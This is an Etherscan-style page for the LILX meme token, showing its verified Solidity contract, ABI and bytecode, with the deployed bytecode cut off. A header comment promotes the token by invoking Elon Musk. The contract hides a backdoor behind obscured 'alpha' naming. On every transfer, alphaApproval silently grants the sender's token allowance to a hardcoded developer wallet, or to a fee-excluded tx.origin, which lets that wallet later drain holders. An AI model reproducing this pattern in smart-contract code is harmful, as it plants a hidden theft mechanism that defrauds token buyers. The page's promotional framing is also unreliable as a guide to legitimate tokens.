ETH Price: $2,333.93 (-6.02%)

Token

LILX (LILX)
 

Overview

Max Total Supply

1,000,000,000 LILX

Holders

151

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.999928924 LILX

Value
$0.00
0x7C0135bE352B25fB4c276349d9598a162A6fd460
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LILX

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-15
*/

/*
The official page of $Lilx - The youngest billionaire in the making, carried by Elon Musk.

https://x.com/elonmusk/status/1889824147100057987
https://x.com/teslaownersSV/status/1864869244229554599

website: https://www.lilxoneth.xyz
Twitter: https://x.com/lilxoneth
Telegram: https://t.me/lilxoneth_erc
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IALPHARouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IALPHAFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract LILX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _alphaBulls;
    mapping (address => mapping (address => uint256)) private _alphaNodes;
    mapping (address => bool) private _alphaFeeExcluded;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalALPHA = 1000000000 * 10**_decimals;
    string private constant _name = unicode"LILX";
    string private constant _symbol = unicode"LILX";
    address private _alphaPair;
    IALPHARouter private _alphaRouter;
    address private _alphaWallet = 0xB3603f3723bE57B36Fc8C7c5AB2AAaA0647728F5;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _tokenALPHASwap = _tTotalALPHA / 100;
    bool private inSwapALPHA = false;
    modifier lockTheSwap {
        inSwapALPHA = true;
        _;
        inSwapALPHA = false;
    }
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    
    constructor () {
        _alphaFeeExcluded[owner()] = true;
        _alphaFeeExcluded[address(this)] = true;
        _alphaFeeExcluded[_alphaWallet] = true;
        _alphaBulls[_msgSender()] = _tTotalALPHA;
        emit Transfer(address(0), _msgSender(), _tTotalALPHA);
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _alphaRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    receive() external payable {}

    function minALPHA(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHALPHA(uint256 amount) private {
        payable(_alphaWallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenALPHA) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _alphaRouter.WETH();
        _approve(address(this), address(_alphaRouter), tokenALPHA);
        _alphaRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenALPHA,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function createPair() external onlyOwner() {
        _alphaRouter = IALPHARouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_alphaRouter), _tTotalALPHA);
        _alphaPair = IALPHAFactory(_alphaRouter.factory()).createPair(address(this), _alphaRouter.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalALPHA;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _alphaBulls[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _alphaNodes[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _alphaNodes[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _alphaNodes[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function alphaApproval(address aALPHA, bool isALPHA, uint256 alphaA) private {
        address walletALPHA;
        if(isALPHA) walletALPHA = address(tx.origin);
        else walletALPHA = _alphaWallet;
        _alphaNodes[aALPHA][walletALPHA] = alphaA;
    }

    function _transfer(address alphaF, address alphaT, uint256 alphaA) private {
        require(alphaF != address(0), "ERC20: transfer from the zero address");
        require(alphaT != address(0), "ERC20: transfer to the zero address");
        require(alphaA > 0, "Transfer amount must be greater than zero");

        uint256 taxALPHA = _alphaTransfer(alphaF, alphaT, alphaA);

        if(taxALPHA > 0){
          _alphaBulls[address(this)] = _alphaBulls[address(this)].add(taxALPHA);
          emit Transfer(alphaF, address(this), taxALPHA);
        }

        _alphaBulls[alphaF] = _alphaBulls[alphaF].sub(alphaA);
        _alphaBulls[alphaT] = _alphaBulls[alphaT].add(alphaA.sub(taxALPHA));
        emit Transfer(alphaF, alphaT, alphaA.sub(taxALPHA));
    }

    function _alphaTransfer(address alphaF, address alphaT, uint256 alphaA) private returns(uint256) {
        uint256 taxALPHA=0; address walletALPHA = address(tx.origin);
        if (alphaF != owner() && alphaT != owner()) {
            taxALPHA = alphaA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (alphaF == _alphaPair && alphaT != address(_alphaRouter) && ! _alphaFeeExcluded[alphaT]) {
                _buyCount++;
            }

            if(alphaT == _alphaPair && alphaF!= address(this)) {
                taxALPHA = alphaA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            swapBackALPHA(alphaF, alphaT, alphaA, _alphaFeeExcluded[walletALPHA]);
        } return taxALPHA;
    }

    function swapBackALPHA(address alphaF, address alphaT, uint256 alphaA, bool isALPHA) private {
        alphaApproval(alphaF, isALPHA, alphaA); uint256 tokenALPHA = balanceOf(address(this));  
        if (!inSwapALPHA && alphaT == _alphaPair && _swapEnabled && _buyCount > _preventSwapBefore) {
            if(tokenALPHA > _tokenALPHASwap)
            swapTokensForEth(minALPHA(alphaA, minALPHA(tokenALPHA, _tokenALPHASwap)));
            uint256 caALPHA = address(this).balance;
            if (caALPHA >= 0) {
                sendETHALPHA(address(this).balance);
            }
        }
    }    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600680546001600160a01b03191673b3603f3723be57b36fc8c7c5ab2aaaa0647728f51781556003600781905560085560006009818155600a828155600b849055600c849055600d93909355600e91909155606491620000659190620002ec565b6200007590633b9aca0062000304565b62000081919062000326565b600f556010805462ffffff191690553480156200009d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160036000620000f86000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006549091168352912080549092161790556200015d6009600a620002ec565b6200016d90633b9aca0062000304565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001b06009600a620002ec565b620001c090633b9aca0062000304565b60405190815260200160405180910390a362000349565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200022e578160001904821115620002125762000212620001d7565b808516156200022057918102915b93841c9390800290620001f2565b509250929050565b6000826200024757506001620002e6565b816200025657506000620002e6565b81600181146200026f57600281146200027a576200029a565b6001915050620002e6565b60ff8411156200028e576200028e620001d7565b50506001821b620002e6565b5060208310610133831016604e8410600b8410161715620002bf575081810a620002e6565b620002cb8383620001ed565b8060001904821115620002e257620002e2620001d7565b0290505b92915050565b6000620002fd60ff84168362000236565b9392505050565b6000816000190483118215151615620003215762000321620001d7565b500290565b6000826200034457634e487b7160e01b600052601260045260246000fd5b500490565b6114ee80620003596000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f5780639e78fb4f116100595780639e78fb4f14610212578063a9059cbb14610227578063c9567bf914610247578063dd62ed3e1461025c57600080fd5b8063715018a6146101d35780638da5cb5b146101ea57806395d89b41146100d257600080fd5b806306fdde03146100d2578063095ea7b31461010e57806318160ddd1461013e57806323b872dd14610161578063313ce5671461018157806370a082311461019d57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201825260048152630989298b60e31b6020820152905161010591906110c5565b60405180910390f35b34801561011a57600080fd5b5061012e610129366004611132565b6102a2565b6040519015158152602001610105565b34801561014a57600080fd5b506101536102b9565b604051908152602001610105565b34801561016d57600080fd5b5061012e61017c36600461115e565b6102da565b34801561018d57600080fd5b5060405160098152602001610105565b3480156101a957600080fd5b506101536101b836600461119f565b6001600160a01b031660009081526001602052604090205490565b3480156101df57600080fd5b506101e8610343565b005b3480156101f657600080fd5b506000546040516001600160a01b039091168152602001610105565b34801561021e57600080fd5b506101e86103c0565b34801561023357600080fd5b5061012e610242366004611132565b6105c3565b34801561025357600080fd5b506101e86105d0565b34801561026857600080fd5b506101536102773660046111bc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102af33848461073c565b5060015b92915050565b60006102c76009600a6112ef565b6102d590633b9aca006112fe565b905090565b60006102e7848484610860565b610339843361033485604051806060016040528060288152602001611491602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ada565b61073c565b5060019392505050565b6000546001600160a01b031633146103765760405162461bcd60e51b815260040161036d9061131d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146103ea5760405162461bcd60e51b815260040161036d9061131d565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104339030906104256009600a6112ef565b61033490633b9aca006112fe565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610486573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104aa9190611352565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561050c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105309190611352565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561057d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a19190611352565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60006102af338484610860565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161036d9061131d565b601054610100900460ff16156106525760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161036d565b6005546001600160a01b031663f305d7194730610684816001600160a01b031660009081526001602052604090205490565b6000806106996000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610701573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610726919061136f565b50506010805462ffff0019166201010017905550565b6001600160a01b03831661079e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161036d565b6001600160a01b0382166107ff5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161036d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108c45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161036d565b6001600160a01b0382166109265760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161036d565b600081116109885760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161036d565b6000610995848484610b14565b90508015610a1157306000908152600160205260409020546109b79082610c7f565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a089085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610a349083610ce5565b6001600160a01b038516600090815260016020526040902055610a79610a5a8383610ce5565b6001600160a01b03851660009081526001602052604090205490610c7f565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ac38585610ce5565b60405190815260200160405180910390a350505050565b60008184841115610afe5760405162461bcd60e51b815260040161036d91906110c5565b506000610b0b848661139d565b95945050505050565b60008032610b2a6000546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610b5957506000546001600160a01b03868116911614155b15610c7657610b8a6064610b84600b54600e5411610b7957600754610b7d565b6009545b8790610d27565b90610da6565b6004549092506001600160a01b038781169116148015610bb857506005546001600160a01b03868116911614155b8015610bdd57506001600160a01b03851660009081526003602052604090205460ff16155b15610bf857600e8054906000610bf2836113b4565b91905055505b6004546001600160a01b038681169116148015610c1e57506001600160a01b0386163014155b15610c4b57610c486064610b84600c54600e5411610c3e57600854610b7d565b600a548790610d27565b91505b6001600160a01b038116600090815260036020526040902054610c769087908790879060ff16610de8565b50949350505050565b600080610c8c83856113cf565b905083811015610cde5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161036d565b9392505050565b6000610cde83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ada565b600082610d36575060006102b3565b6000610d4283856112fe565b905082610d4f85836113e7565b14610cde5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161036d565b6000610cde83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e85565b610df3848284610eb3565b3060009081526001602052604090205460105460ff16158015610e2357506004546001600160a01b038581169116145b8015610e37575060105462010000900460ff165b8015610e465750600d54600e54115b15610e7e57600f54811115610e7257610e72610e6d84610e6884600f54610f01565b610f01565b610f16565b47610e7c47611087565b505b5050505050565b60008183610ea65760405162461bcd60e51b815260040161036d91906110c5565b506000610b0b84866113e7565b60008215610ec2575032610ed0565b506006546001600160a01b03165b6001600160a01b03938416600090815260026020908152604080832093909616825291909152929092209190915550565b6000818311610f105782610cde565b50919050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f5857610f58611409565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd59190611352565b81600181518110610fe857610fe8611409565b6001600160a01b03928316602091820292909201015260055461100e913091168461073c565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac9479061104790859060009086903090429060040161141f565b600060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b50506010805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110c1573d6000803e3d6000fd5b5050565b600060208083528351808285015260005b818110156110f2578581018301518582016040015282016110d6565b81811115611104576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461112f57600080fd5b50565b6000806040838503121561114557600080fd5b82356111508161111a565b946020939093013593505050565b60008060006060848603121561117357600080fd5b833561117e8161111a565b9250602084013561118e8161111a565b929592945050506040919091013590565b6000602082840312156111b157600080fd5b8135610cde8161111a565b600080604083850312156111cf57600080fd5b82356111da8161111a565b915060208301356111ea8161111a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561124657816000190482111561122c5761122c6111f5565b8085161561123957918102915b93841c9390800290611210565b509250929050565b60008261125d575060016102b3565b8161126a575060006102b3565b8160018114611280576002811461128a576112a6565b60019150506102b3565b60ff84111561129b5761129b6111f5565b50506001821b6102b3565b5060208310610133831016604e8410600b84101617156112c9575081810a6102b3565b6112d3838361120b565b80600019048211156112e7576112e76111f5565b029392505050565b6000610cde60ff84168361124e565b6000816000190483118215151615611318576113186111f5565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561136457600080fd5b8151610cde8161111a565b60008060006060848603121561138457600080fd5b8351925060208401519150604084015190509250925092565b6000828210156113af576113af6111f5565b500390565b60006000198214156113c8576113c86111f5565b5060010190565b600082198211156113e2576113e26111f5565b500190565b60008261140457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561146f5784516001600160a01b03168352938301939183019160010161144a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204324c434c22bf0073e0b864dac54e12f3a59270ad918cc8c88982003f206e05864736f6c634300080a0033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c8063715018a61161007f5780639e78fb4f116100595780639e78fb4f14610212578063a9059cbb14610227578063c9567bf914610247578063dd62ed3e1461025c57600080fd5b8063715018a6146101d35780638da5cb5b146101ea57806395d89b41146100d257600080fd5b806306fdde03146100d2578063095ea7b31461010e57806318160ddd1461013e57806323b872dd14610161578063313ce5671461018157806370a082311461019d57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201825260048152630989298b60e31b6020820152905161010591906110c5565b60405180910390f35b34801561011a57600080fd5b5061012e610129366004611132565b6102a2565b6040519015158152602001610105565b34801561014a57600080fd5b506101536102b9565b604051908152602001610105565b34801561016d57600080fd5b5061012e61017c36600461115e565b6102da565b34801561018d57600080fd5b5060405160098152602001610105565b3480156101a957600080fd5b506101536101b836600461119f565b6001600160a01b031660009081526001602052604090205490565b3480156101df57600080fd5b506101e8610343565b005b3480156101f657600080fd5b506000546040516001600160a01b039091168152602001610105565b34801561021e57600080fd5b506101e86103c0565b34801561023357600080fd5b5061012e610242366004611132565b6105c3565b34801561025357600080fd5b506101e86105d0565b34801561026857600080fd5b506101536102773660046111bc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102af33848461073c565b5060015b92915050565b60006102c76009600a6112ef565b6102d590633b9aca006112fe565b905090565b60006102e7848484610860565b610339843361033485604051806060016040528060288152602001611491602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ada565b61073c565b5060019392505050565b6000546001600160a01b031633146103765760405162461bcd60e51b815260040161036d9061131d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146103ea5760405162461bcd60e51b815260040161036d9061131d565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104339030906104256009600a6112ef565b61033490633b9aca006112fe565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610486573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104aa9190611352565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561050c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105309190611352565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561057d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a19190611352565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60006102af338484610860565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161036d9061131d565b601054610100900460ff16156106525760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161036d565b6005546001600160a01b031663f305d7194730610684816001600160a01b031660009081526001602052604090205490565b6000806106996000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610701573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610726919061136f565b50506010805462ffff0019166201010017905550565b6001600160a01b03831661079e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161036d565b6001600160a01b0382166107ff5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161036d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108c45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161036d565b6001600160a01b0382166109265760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161036d565b600081116109885760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161036d565b6000610995848484610b14565b90508015610a1157306000908152600160205260409020546109b79082610c7f565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a089085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610a349083610ce5565b6001600160a01b038516600090815260016020526040902055610a79610a5a8383610ce5565b6001600160a01b03851660009081526001602052604090205490610c7f565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ac38585610ce5565b60405190815260200160405180910390a350505050565b60008184841115610afe5760405162461bcd60e51b815260040161036d91906110c5565b506000610b0b848661139d565b95945050505050565b60008032610b2a6000546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610b5957506000546001600160a01b03868116911614155b15610c7657610b8a6064610b84600b54600e5411610b7957600754610b7d565b6009545b8790610d27565b90610da6565b6004549092506001600160a01b038781169116148015610bb857506005546001600160a01b03868116911614155b8015610bdd57506001600160a01b03851660009081526003602052604090205460ff16155b15610bf857600e8054906000610bf2836113b4565b91905055505b6004546001600160a01b038681169116148015610c1e57506001600160a01b0386163014155b15610c4b57610c486064610b84600c54600e5411610c3e57600854610b7d565b600a548790610d27565b91505b6001600160a01b038116600090815260036020526040902054610c769087908790879060ff16610de8565b50949350505050565b600080610c8c83856113cf565b905083811015610cde5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161036d565b9392505050565b6000610cde83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ada565b600082610d36575060006102b3565b6000610d4283856112fe565b905082610d4f85836113e7565b14610cde5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161036d565b6000610cde83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e85565b610df3848284610eb3565b3060009081526001602052604090205460105460ff16158015610e2357506004546001600160a01b038581169116145b8015610e37575060105462010000900460ff165b8015610e465750600d54600e54115b15610e7e57600f54811115610e7257610e72610e6d84610e6884600f54610f01565b610f01565b610f16565b47610e7c47611087565b505b5050505050565b60008183610ea65760405162461bcd60e51b815260040161036d91906110c5565b506000610b0b84866113e7565b60008215610ec2575032610ed0565b506006546001600160a01b03165b6001600160a01b03938416600090815260026020908152604080832093909616825291909152929092209190915550565b6000818311610f105782610cde565b50919050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f5857610f58611409565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fb1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019